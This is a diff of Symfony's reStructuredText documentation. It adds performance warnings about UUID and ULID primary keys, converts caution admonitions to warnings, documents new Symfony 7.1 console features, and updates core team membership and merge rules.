@@ -289,6 +361,14 @@ entity primary keys::
         // ...
     }
 
+.. warning::
+
+    Using UUIDs as primary keys is usually not recommended for performance reasons:
+    indexes are slower and take more space (because UUIDs in binary format take
+    128 bits instead of 32/64 bits for auto-incremental integers) and the non-sequential
+    nature of UUIDs fragments indexes. :ref:`UUID v6 <uid-uuid-v6>` and :ref:`UUID v7 <uid-uuid-v7>`
+    are the only variants that solve the fragmentation issue (but the index size issue remains).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these UUID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUuid()])``). However, when using DQL
@@ -467,9 +547,15 @@ entity primary keys::
         }
 
         // ...
-
     }
 
+.. warning::
+
+    Using ULIDs as primary keys is usually not recommended for performance reasons.
+    Although ULIDs don't suffer from index fragmentation issues (because the values
+    are sequential), their indexes are slower and take more space (because ULIDs
+    in binary format take 128 bits instead of 32/64 bits for auto-incremental integers).
+
 When using built-in Doctrine repository methods (e.g. ``findOneBy()``), Doctrine
 knows how to convert these ULID types to build the SQL query
 (e.g. ``->findOneBy(['user' => $user->getUlid()])``). However, when using DQL
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index c1474c1710d..5b1448dfba1 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -171,7 +171,7 @@ You can set this custom implementation using
         ->setMetadataFactory(new CustomMetadataFactory(...))
         ->getValidator();
 
-.. caution::
+.. warning::
 
     Since you are using a custom metadata factory, you can't configure loaders
     and caches using the ``add*Mapping()`` methods anymore. You now have to
diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index d54a789cb96..3f59ff1b796 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -387,7 +387,7 @@ then its dump representation::
 
 .. note::
 
-    `#14` is the internal object handle. It allows comparing two
+    ``#14`` is the internal object handle. It allows comparing two
     consecutive dumps of the same object.
 
 .. code-block:: php
@@ -623,7 +623,7 @@ For example, to get a dump as a string in a variable, you can do::
 
     $dumper->dump(
         $cloner->cloneVar($variable),
-        function (int $line, int $depth) use (&$output): void {
+        function (string $line, int $depth) use (&$output): void {
             // A negative depth means "end of dump"
             if ($depth >= 0) {
                 // Adds a two spaces indentation to the line
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index 634e4be78cb..6aa4279788e 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -206,9 +206,6 @@ initialized::
     class HashProcessor
     {
         use LazyGhostTrait;
-        // Because of how the LazyGhostTrait trait works internally, you
-        // must add this private property in your class
-        private int $lazyObjectId;
 
         // This property may require a heavy computation to have its value
         public readonly string $hash;
diff --git a/components/workflow.rst b/components/workflow.rst
index 12a9c98ab2f..e3da25b3476 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -75,7 +75,7 @@ Here's an example of using the workflow defined above::
 Initialization
 --------------
 
-If the property of your object is ``null`` and you want to set it with the
+If the marking property of your object is ``null`` and you want to set it with the
 ``initial_marking`` from the configuration, you can call the ``getMarking()``
 method to initialize the object property::
 
@@ -85,41 +85,6 @@ method to initialize the object property::
     // initiate workflow
     $workflow->getMarking($blogPost);
 
-Using The Workflow Registry
----------------------------
-
-When you define multiple workflows you may consider using a ``Registry``,
-which is an object that stores and provides access to different workflows.
-A registry will also help you to decide if a workflow supports the object you
-are trying to use it with::
-
-    use Acme\Entity\BlogPost;
-    use Acme\Entity\Newsletter;
-    use Symfony\Component\Workflow\Registry;
-    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
-
-    $blogPostWorkflow = ...;
-    $newsletterWorkflow = ...;
-
-    $registry = new Registry();
-    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
-    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
-
-You can then use the registry to get the workflow for a specific object::
-
-    $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
-
-    // initiate workflow
-    $workflow->getMarking($blogPost);
-
-.. caution::
-
-    Beware that injecting the ``Registry`` into your services is **not**
-    recommended. Indeed, it prevents some optimization like lazy-loading
-    from working and could be a performance hog. Instead, you should always
-    inject the workflow you need.
-
 Learn more
 ----------
 
diff --git a/components/yaml.rst b/components/yaml.rst
index 5f724e0572c..ea1c1f4af3a 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -489,7 +489,7 @@ Add the ``--format`` option to get the output in JSON format:
 
 .. code-block:: terminal
 
-    $ php lint.php path/to/file.yaml --format json
+    $ php lint.php path/to/file.yaml --format=json
 
 .. tip::
 
diff --git a/configuration.rst b/configuration.rst
index da2397a307f..30d9ade5869 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -228,7 +228,7 @@ reusable configuration value. By convention, parameters are defined under the
                 <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter>
 
                 <!-- Enum case as parameter values -->
-                <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter>
+                <parameter key="app.some_enum" type="constant">App\Enum\PostState::Published</parameter>
             </parameters>
 
             <!-- ... -->
@@ -267,7 +267,7 @@ reusable configuration value. By convention, parameters are defined under the
 
         // ...
 
-.. caution::
+.. warning::
 
     By default and when using XML configuration, the values between ``<parameter>``
     tags are not trimmed. This means that the value of the following parameter will be
@@ -379,7 +379,7 @@ a new ``locale`` parameter is added to the ``config/services.yaml`` file).
 
     By convention, parameters whose names start with a dot ``.`` (for example,
     ``.mailer.transport``), are available only during the container compilation.
-    They are useful when working with :ref:`Compiler Passes </service_container/compiler_passes>`
+    They are useful when working with :doc:`Compiler Passes </service_container/compiler_passes>`
     to declare some temporary parameters that won't be available later in the application.
 
 .. seealso::
@@ -795,7 +795,7 @@ Use environment variables in values by prefixing variables with ``$``:
     DB_USER=root
     DB_PASS=${DB_USER}pass # include the user as a password prefix
 
-.. caution::
+.. warning::
 
     The order is important when some env var depends on the value of other env
     vars. In the above example, ``DB_PASS`` must be defined after ``DB_USER``.
@@ -816,7 +816,7 @@ Embed commands via ``$()`` (not supported on Windows):
 
     START_TIME=$(date)
 
-.. caution::
+.. warning::
 
     Using ``$()`` might not work depending on your shell.
 
@@ -858,9 +858,10 @@ the right situation:
   but the overrides only apply to one environment.
 
 *Real* environment variables always win over env vars created by any of the
-``.env`` files. This behavior depends on
-`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_ to
-contain an ``E`` to expose the ``$_ENV`` superglobal.
+``.env`` files. Note that this behavior depends on the
+`variables_order <http://php.net/manual/en/ini.core.php#ini.variables-order>`_
+configuration, which must contain an ``E`` to expose the ``$_ENV`` superglobal.
+This is the default configuration in PHP.
 
 The ``.env`` and ``.env.<environment>`` files should be committed to the
 repository because they are the same for all developers and machines. However,
@@ -953,15 +954,7 @@ path is part of the options you can set in your ``composer.json`` file:
           }
       }
 
-You can also set the ``SYMFONY_DOTENV_PATH`` environment variable at system
-level (e.g. in your web server configuration or in your Dockerfile):
-
-.. code-block:: bash
-
-    # .env (or .env.local)
-    SYMFONY_DOTENV_PATH=my/custom/path/to/.env
-
-Finally, you can directly invoke the ``Dotenv`` class in your
+As an alternate option, you can directly invoke the ``Dotenv`` class in your
 ``bootstrap.php`` file or any other file of your application::
 
     use Symfony\Component\Dotenv\Dotenv;
@@ -974,9 +967,13 @@ the local and environment-specific files (e.g. ``.*.local`` and
 :ref:`how to override environment variables <configuration-multiple-env-files>`
 to learn more about this.
 
+If you need to know the path to the ``.env`` file that Symfony is using, you can
+read the ``SYMFONY_DOTENV_PATH`` environment variable in your application.
+
 .. versionadded:: 7.1
 
-    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony 7.1.
+    The ``SYMFONY_DOTENV_PATH`` environment variable was introduced in Symfony
+    7.1.
 
 .. _configuration-secrets:
 
diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index baf4037d05a..2e82104db66 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -687,7 +687,7 @@ Symfony provides the following env var processors:
                 ],
             ]);
 
-    .. caution::
+    .. warning::
 
         In order to ease extraction of the resource from the URL, the leading
         ``/`` is trimmed from the ``path`` component.
diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 179dc6da2d4..b67335514a1 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -120,6 +120,12 @@ Next, create an ``index.php`` file that defines the kernel class and runs it:
         $response->send();
         $kernel->terminate($request, $response);
 
+.. note::
+
+    In addition to the ``index.php`` file, you'll need to create a directory called
+    ``config/`` in your project (even if it's empty because you define the configuration
+    options inside the ``configureContainer()`` method).
+
 That's it! To test it, start the :doc:`Symfony Local Web Server
 </setup/symfony_server>`:
 
@@ -226,6 +232,7 @@ Now it looks like this::
 
     use App\DependencyInjection\AppExtension;
     use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
+    use Symfony\Component\DependencyInjection\ContainerBuilder;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
     use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4cef8b0d09e..ec8742213b5 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,7 +117,9 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class Kernel extends BaseKernel
@@ -227,7 +229,7 @@ but it should typically be added to your web server configuration.
     # .env
     APP_ID=api
 
-.. caution::
+.. warning::
 
     The value of this variable must match the application directory within
     ``apps/`` as it is used in the Kernel to load the specific application
@@ -258,6 +260,7 @@ the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Input\InputOption;
 
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index d17b67aedba..e5dff35b6d0 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -111,7 +111,7 @@ In this case you have changed the location of the cache directory to
 You can also change the cache directory by defining an environment variable
 named ``APP_CACHE_DIR`` whose value is the full path of the cache folder.
 
-.. caution::
+.. warning::
 
     You should keep the cache directory different for each environment,
     otherwise some unexpected behavior may happen. Each environment generates
diff --git a/console.rst b/console.rst
index 0658ed9a3df..6a3ba70300f 100644
--- a/console.rst
+++ b/console.rst
@@ -98,6 +98,15 @@ completion (by default, by pressing the Tab key).
         $ php vendor/bin/phpstan completion --help
         $ composer completion --help
 
+.. tip::
+
+    If you are using the :doc:`Symfony local web server
+    </setup/symfony_server>`, it is recommended to use the built-in completion
+    script that will ensure the right PHP version and configuration are used when
+    running the Console Completion. Run ``symfony completion --help`` for the
+    installation instructions for your shell. The Symfony CLI will provide
+    completion for the ``console`` and ``composer`` commands.
+
 Creating a Command
 ------------------
 
@@ -357,7 +366,7 @@ Output sections let you manipulate the Console output in advanced ways, such as
 are updated independently and :ref:`appending rows to tables <console-modify-rendered-tables>`
 that have already been rendered.
 
-.. caution::
+.. warning::
 
     Terminals only allow overwriting the visible content, so you must take into
     account the console height when trying to write/overwrite section contents.
@@ -522,13 +531,13 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
     You can also test a whole console application by using
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`.
 
-.. caution::
+.. warning::
 
     When testing commands using the ``CommandTester`` class, console events are
     not dispatched. If you need to test those events, use the
     :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester` instead.
 
-.. caution::
+.. warning::
 
     When testing commands using the :class:`Symfony\\Component\\Console\\Tester\\ApplicationTester`
     class, don't forget to disable the auto exit flag::
@@ -538,7 +547,7 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
         $tester = new ApplicationTester($application);
 
-.. caution::
+.. warning::
 
     When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
     to them::
@@ -610,7 +619,7 @@ profile is accessible through the web page of the profiler.
     terminal supports links). If you run it in debug verbosity (``-vvv``) you'll
     also see the time and memory consumed by the command.
 
-.. caution::
+.. warning::
 
     When profiling the ``messenger:consume`` command from the :doc:`Messenger </messenger>`
     component, add the ``--no-reset`` option to the command or you won't get any
diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index c5bfc6e5a72..dd1f0b12ff9 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -1,9 +1,9 @@
 How to Call Other Commands
 ==========================
 
-If a command depends on another one being run before it you can call in the
-console command itself. This is useful if a command depends on another command
-or if you want to create a "meta" command that runs a bunch of other commands
+If a command depends on another one being run before it you can call that in the
+console command itself. This can be useful
+if you want to create a "meta" command that runs a bunch of other commands
 (for instance, all commands that need to be run when the project's code has
 changed on the production servers: clearing the cache, generating Doctrine
 proxies, dumping web assets, ...).
@@ -36,6 +36,9 @@ method)::
                 '--yell'  => true,
             ]);
 
+            // disable interactive behavior for the greet command
+            $greetInput->setInteractive(false);
+
             $returnCode = $this->getApplication()->doRun($greetInput, $output);
 
             // ...
@@ -57,7 +60,7 @@ method)::
     ``$this->getApplication()->find('demo:greet')->run()`` will allow proper
     events to be dispatched for that inner command as well.
 
-.. caution::
+.. warning::
 
     Note that all the commands will run in the same process and some of Symfony's
     built-in commands may not work well this way. For instance, the ``cache:clear``
diff --git a/console/command_in_controller.rst b/console/command_in_controller.rst
index 64475bff103..74af9e17c15 100644
--- a/console/command_in_controller.rst
+++ b/console/command_in_controller.rst
@@ -11,7 +11,7 @@ service that can be reused in the controller. However, when the command is part
 of a third-party library, you don't want to modify or duplicate their code.
 Instead, you can run the command directly from the controller.
 
-.. caution::
+.. warning::
 
     In comparison with a direct call from the console, calling a command from
     a controller has a slight performance impact because of the request stack
diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index 75aa13d5be8..1393879a1df 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -51,7 +51,7 @@ argument (thanks to autowiring). In other words, you only need to create this
 class and everything works automatically! You can call the ``app:sunshine``
 command and start logging.
 
-.. caution::
+.. warning::
 
     You *do* have access to services in ``configure()``. However, if your command is
     not :ref:`lazy <console-command-service-lazy-loading>`, try to avoid doing any
@@ -130,7 +130,7 @@ only when the ``app:sunshine`` command is actually called.
 
     You don't need to call ``setName()`` for configuring the command when it is lazy.
 
-.. caution::
+.. warning::
 
     Calling the ``list`` command will instantiate all commands, including lazy commands.
     However, if the command is a ``Symfony\Component\Console\Command\LazyCommand``, then
diff --git a/console/input.rst b/console/input.rst
index 4d709c18825..98cddd63875 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -197,7 +197,7 @@ values after a whitespace or an ``=`` sign (e.g. ``--iterations 5`` or
 ``--iterations=5``), but short options can only use whitespaces or no
 separation at all (e.g. ``-i 5`` or ``-i5``).
 
-.. caution::
+.. warning::
 
     While it is possible to separate an option from its value with a whitespace,
     using this form leads to an ambiguity should the option appear before the
@@ -311,6 +311,42 @@ The above code can be simplified as follows because ``false !== null``::
     $yell = ($optionValue !== false);
     $yellLouder = ($optionValue === 'louder');
 
+Fetching The Raw Command Input
+------------------------------
+
+Symfony provides a :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+method to fetch the raw input that was passed to the command. This is useful if
+you want to parse the input yourself or when you need to pass the input to another
+command without having to worry about the number of arguments or options::
+
+    // ...
+    use Symfony\Component\Process\Process;
+
+    protected function execute(InputInterface $input, OutputInterface $output): int
+    {
+        // if this command was run as:
+        // php bin/console app:my-command foo --bar --baz=3 --qux=value1 --qux=value2
+
+        $tokens = $input->getRawTokens();
+        // $tokens = ['app:my-command', 'foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass true as argument to not include the original command name
+        $tokens = $input->getRawTokens(true);
+        // $tokens = ['foo', '--bar', '--baz=3', '--qux=value1', '--qux=value2'];
+
+        // pass the raw input to any other command (from Symfony or the operating system)
+        $process = new Process(['app:other-command', ...$input->getRawTokens(true)]);
+        $process->setTty(true);
+        $process->mustRun();
+
+        // ...
+    }
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Console\\Input\\ArgvInput::getRawTokens`
+    method was introduced in Symfony 7.1.
+
 Adding Argument/Option Value Completion
 ---------------------------------------
 
diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 02f635f5788..0f4a4900e17 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -43,4 +43,28 @@ that adds two convenient methods to lock and release commands::
         }
     }
 
+The LockableTrait will use the ``SemaphoreStore`` if available and will default
+to ``FlockStore`` otherwise. You can override this behavior by setting
+a ``$lockFactory`` property with your own lock factory::
+
+    // ...
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Command\LockableTrait;
+    use Symfony\Component\Lock\LockFactory;
+
+    class UpdateContentsCommand extends Command
+    {
+        use LockableTrait;
+
+        public function __construct(private LockFactory $lockFactory)
+        {
+        }
+
+        // ...
+    }
+
+.. versionadded::  7.1
+
+    The ``$lockFactory`` property was introduced in Symfony 7.1.
+
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 889a605b422..497c70fb01d 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -30,7 +30,7 @@ The second section, "Working on Symfony Code", is targeted at Symfony
 contributors. This section lists detailed rules that every contributor needs to
 follow to ensure smooth upgrades for our users.
 
-.. caution::
+.. warning::
 
     :doc:`Experimental Features </contributing/code/experimental>` and code
     marked with the ``@internal`` tags are excluded from our Backward
@@ -53,7 +53,7 @@ All interfaces shipped with Symfony can be used in type hints. You can also call
 any of the methods that they declare. We guarantee that we won't break code that
 sticks to these rules.
 
-.. caution::
+.. warning::
 
     The exception to this rule are interfaces tagged with ``@internal``. Such
     interfaces should not be used or implemented.
@@ -89,7 +89,7 @@ Using our Classes
 All classes provided by Symfony may be instantiated and accessed through their
 public methods and properties.
 
-.. caution::
+.. warning::
 
     Classes, properties and methods that bear the tag ``@internal`` as well as
     the classes located in the various ``*\Tests\`` namespaces are an
@@ -146,7 +146,7 @@ Using our Traits
 
 All traits provided by Symfony may be used in your classes.
 
-.. caution::
+.. warning::
 
     The exception to this rule are traits tagged with ``@internal``. Such
     traits should not be used.
@@ -253,6 +253,14 @@ Make public or protected                                                  Yes
 Remove private property                                                   Yes
 **Constructors**
 Add constructor without mandatory arguments                               Yes             :ref:`[1] <note-1>`
+:ref:`Add argument without a default value <add-argument-public-method>`  No
+Add argument with a default value                                         Yes             :ref:`[11] <note-11>`
+Remove argument                                                           No              :ref:`[3] <note-3>`
+Add default value to an argument                                          Yes
+Remove default value of an argument                                       No
+Add type hint to an argument                                              No
+Remove type hint of an argument                                           Yes
+Change argument type                                                      No
 Remove constructor                                                        No
 Reduce visibility of a public constructor                                 No
 Reduce visibility of a protected constructor                              No              :ref:`[7] <note-7>`
@@ -468,6 +476,10 @@ a return type is only possible with a child type.
 constructors of Attribute classes. Using PHP named arguments might break your
 code when upgrading to newer Symfony versions.
 
+.. _note-11:
+
+**[11]** Only optional argument(s) of a constructor at last position may be added.
+
 Making Code Changes in a Backward Compatible Way
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/contributing/code/bugs.rst b/contributing/code/bugs.rst
index fba68617ee3..b0a46766026 100644
--- a/contributing/code/bugs.rst
+++ b/contributing/code/bugs.rst
@@ -4,7 +4,7 @@ Reporting a Bug
 Whenever you find a bug in Symfony, we kindly ask you to report it. It helps
 us make a better Symfony.
 
-.. caution::
+.. warning::
 
     If you think you've found a security issue, please use the special
     :doc:`procedure <security>` instead.
diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 6cef3400384..1b1703e4f93 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -13,6 +13,15 @@ This document states the rules that govern the Symfony core team. These rules
 are effective upon publication of this document and all Symfony Core members
 must adhere to said rules and protocol.
 
+Role of a Core Team Member
+--------------------------
+
+In addition to being a regular contributor, core team members are expected to:
+
+* Review, approve, and merge pull requests;
+* Help enforce, improve, and implement Symfony :doc:`processes and policies </contributing/index>`;
+* Participate in the Symfony Core Team discussions (on Slack and GitHub).
+
 Core Organization
 -----------------
 
@@ -34,10 +43,8 @@ The Symfony Core groups, in descending order of priority, are as follows:
 In addition, there are other groups created to manage specific topics:
 
 * **Security Team**: manages the whole security process (triaging reported vulnerabilities,
-  fixing the reported issues, coordinating the release of security fixes, etc.)
-
-* **Recipes Team**: manages the recipes in the main and contrib recipe repositories.
-
+  fixing the reported issues, coordinating the release of security fixes, etc.);
+* **Symfony UX Team**: manages the `UX repositories`_;
 * **Documentation Team**: manages the whole `symfony-docs repository`_.
 
 Active Core Members
@@ -52,21 +59,17 @@ Active Core Members
   * **Nicolas Grekas** (`nicolas-grekas`_);
   * **Christophe Coevoet** (`stof`_);
   * **Christian Flothmann** (`xabbuh`_);
-  * **Tobias Schultze** (`Tobion`_);
   * **Kévin Dunglas** (`dunglas`_);
   * **Javier Eguiluz** (`javiereguiluz`_);
   * **Grégoire Pineau** (`lyrixx`_);
   * **Ryan Weaver** (`weaverryan`_);
   * **Robin Chalas** (`chalasr`_);
-  * **Maxime Steinhausser** (`ogizanagi`_);
   * **Yonel Ceruto** (`yceruto`_);
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
-  * **Titouan Galopin** (`tgalopin`_);
   * **Oskar Stark** (`OskarStark`_);
-  * **Thomas Calvet** (`fancyweb`_);
   * **Mathieu Santostefano** (`welcomattic`_);
   * **Kevin Bond** (`kbond`_);
   * **Jérôme Tamarelle** (`gromnan`_).
@@ -74,13 +77,15 @@ Active Core Members
 * **Security Team** (``@symfony/security`` on GitHub):
 
   * **Fabien Potencier** (`fabpot`_);
-  * **Michael Cullum** (`michaelcullum`_);
   * **Jérémy Derussé** (`jderusse`_).
 
-* **Recipes Team**:
+* **Symfony UX Team** (``@symfony/ux`` on GitHub):
 
-  * **Fabien Potencier** (`fabpot`_);
-  * **Tobias Nyholm** (`Nyholm`_).
+  * **Ryan Weaver** (`weaverryan`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Simon André** (`smnandre`_);
+  * **Hugo Alliaume** (`kocal`_);
+  * **Matheo Daninos** (`webmamba`_).
 
 * **Documentation Team** (``@symfony/team-symfony-docs`` on GitHub):
 
@@ -104,7 +109,12 @@ Symfony contributions:
 * **Lukas Kahwe Smith** (`lsmith77`_);
 * **Jules Pietri** (`HeahDude`_);
 * **Jakub Zalas** (`jakzal`_);
-* **Samuel Rozé** (`sroze`_).
+* **Samuel Rozé** (`sroze`_);
+* **Tobias Schultze** (`Tobion`_);
+* **Maxime Steinhausser** (`ogizanagi`_);
+* **Titouan Galopin** (`tgalopin`_);
+* **Michael Cullum** (`michaelcullum`_);
+* **Thomas Calvet** (`fancyweb`_).
 
 Core Membership Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -138,7 +148,6 @@ Pull Request Voting Policy
 
 * Core members can change their votes as many times as they desire
   during the course of a pull request discussion;
-
 * Core members are not allowed to vote on their own pull requests.
 
 Pull Request Merging Policy
@@ -147,13 +156,10 @@ Pull Request Merging Policy
 A pull request **can be merged** if:
 
 * It is a :ref:`minor change <core-team_minor-changes>`;
-
 * Enough time was given for peer reviews;
-
 * It is a bug fix and at least two **Mergers Team** members voted ``+1``
   (only one if the submitter is part of the Mergers team) and no Core
   member voted ``-1`` (via GitHub reviews or as comments).
-
 * It is a new feature and at least two **Mergers Team** members voted
   ``+1`` (if the submitter is part of the Mergers team, two *other* members)
   and no Core member voted ``-1`` (via GitHub reviews or as comments).
@@ -166,7 +172,24 @@ All code must be committed to the repository through pull requests, except for
 to the repository.
 
 **Mergers** must always use the command-line ``gh`` tool provided by the
-**Project Leader** to merge the pull requests.
+**Project Leader** to merge pull requests.
+
+When merging a pull request, the tool asks for a category that should be chosen
+following these rules:
+
+* **Feature**: For new features and deprecations; Pull requests must be merged
+  in the development branch.
+* **Bug**: Only for bug fixes; We are very conservative when it comes to
+  merging older, but still maintained, branches. Read the :doc:`maintenance`
+  document for more information.
+* **Minor**: For everything that does not change the code or when they don't
+  need to be listed in the CHANGELOG files: typos, Markdown files, test files,
+  new or missing translations, etc.
+* **Security**: It's the category used for security fixes and should never be
+  used except by the security team.
+
+Getting the right category is important as it is used by automated tools to
+generate the CHANGELOG files when releasing new versions.
 
 Release Policy
 ~~~~~~~~~~~~~~
@@ -187,6 +210,7 @@ discretion of the **Project Leader**.
     violations, and minor CSS, JavaScript and HTML modifications.
 
 .. _`symfony-docs repository`: https://github.com/symfony/symfony-docs
+.. _`UX repositories`: https://github.com/symfony/ux
 .. _`fabpot`: https://github.com/fabpot/
 .. _`webmozart`: https://github.com/webmozart/
 .. _`Tobion`: https://github.com/Tobion/
@@ -218,3 +242,6 @@ discretion of the **Project Leader**.
 .. _`welcomattic`: https://github.com/welcomattic/
 .. _`kbond`: https://github.com/kbond/
 .. _`gromnan`: https://github.com/gromnan/
+.. _`smnandre`: https://github.com/smnandre/
+.. _`kocal`: https://github.com/kocal/
+.. _`webmamba`: https://github.com/webmamba/
diff --git a/contributing/code/maintenance.rst b/contributing/code/maintenance.rst
index 04740ce8c6e..27e4fd73ea0 100644
--- a/contributing/code/maintenance.rst
+++ b/contributing/code/maintenance.rst
@@ -67,6 +67,9 @@ issue):
 * **Adding new deprecations**: After a version reaches stability, new
   deprecations cannot be added anymore.
 
+* **Adding or updating annotations**: Adding or updating annotations (PHPDoc
+  annotations for instance) is not allowed; fixing them might be accepted.
+
 Anything not explicitly listed above should be done on the next minor or major
 version instead. For instance, the following changes are never accepted in a
 patch version:
diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 95ee6bb89a6..7c9ab2579a5 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -31,7 +31,7 @@ Before working on Symfony, setup a friendly environment with the following
 software:
 
 * Git;
-* PHP version 7.2.5 or above.
+* PHP version 8.2 or above.
 
 Configure Git
 ~~~~~~~~~~~~~
diff --git a/contributing/code/reproducer.rst b/contributing/code/reproducer.rst
index 6efae2a8ee8..3392ca87035 100644
--- a/contributing/code/reproducer.rst
+++ b/contributing/code/reproducer.rst
@@ -2,8 +2,8 @@ Creating a Bug Reproducer
 =========================
 
 The main Symfony code repository receives thousands of issues reports per year.
-Some of those issues are easy to understand and the Symfony Core developers can
-fix them without any other information. However, other issues are much harder to
+Some of those issues are easy to understand and can
+be fixed without any other information. However, other issues are much harder to
 understand because developers can't reproduce them in their computers. That's
 when we'll ask you to create a "bug reproducer", which is the minimum amount of
 code needed to make the bug appear when executed.
diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 39d96d9e247..ced2568c5f7 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -211,8 +211,8 @@ Naming Conventions
 * Use `camelCase`_ for PHP variables, function and method names, arguments
   (e.g. ``$acceptableContentTypes``, ``hasSession()``);
 
-* Use `snake_case`_ for configuration parameters and Twig template variables
-  (e.g. ``framework.csrf_protection``, ``http_status_code``);
+Use `snake_case`_ for configuration parameters, route names and Twig template
+  variables (e.g. ``framework.csrf_protection``, ``http_status_code``);
 
 * Use SCREAMING_SNAKE_CASE for constants (e.g. ``InputArgument::IS_ARRAY``);
 
diff --git a/contributing/code/tests.rst b/contributing/code/tests.rst
index 8bffc4aa4bc..08f6bc5df12 100644
--- a/contributing/code/tests.rst
+++ b/contributing/code/tests.rst
@@ -32,7 +32,7 @@ tests, such as Doctrine, Twig and Monolog. To do so,
 
     .. code-block:: terminal
 
-        $ COMPOSER_ROOT_VERSION=5.4.x-dev composer update
+        $ COMPOSER_ROOT_VERSION=7.1.x-dev composer update
 
 .. _running:
 
diff --git a/contributing/code_of_conduct/care_team.rst b/contributing/code_of_conduct/care_team.rst
index 316131e5e8f..e061c0a0afe 100644
--- a/contributing/code_of_conduct/care_team.rst
+++ b/contributing/code_of_conduct/care_team.rst
@@ -58,12 +58,3 @@ The :doc:`Symfony project leader </contributing/code/core_team>` appoints the CA
 team with candidates they see fit. The CARE team will consist of at least
 3 people. The team should be representing as many demographics as possible,
 ideally from different employers.
-
-CARE Team Transparency Reports
-------------------------------
-
-The CARE team publishes a transparency report at the end of each year:
-
-* `Symfony Code of Conduct Transparency Report 2018`_.
-
-.. _`Symfony Code of Conduct Transparency Report 2018`: https://symfony.com/blog/symfony-code-of-conduct-transparency-report-2018
diff --git a/contributing/community/reviews.rst b/contributing/community/reviews.rst
index e3da2dcdb21..06426c03985 100644
--- a/contributing/community/reviews.rst
+++ b/contributing/community/reviews.rst
@@ -167,7 +167,7 @@ Pick a pull request from the `PRs in need of review`_ and follow these steps:
    PR by running the following Git commands. Insert the PR ID (that's the number
    after the ``#`` in the PR title) for the ``<ID>`` placeholders:
 
-   .. code-block:: text
+   .. code-block:: terminal
 
        $ cd vendor/symfony/symfony
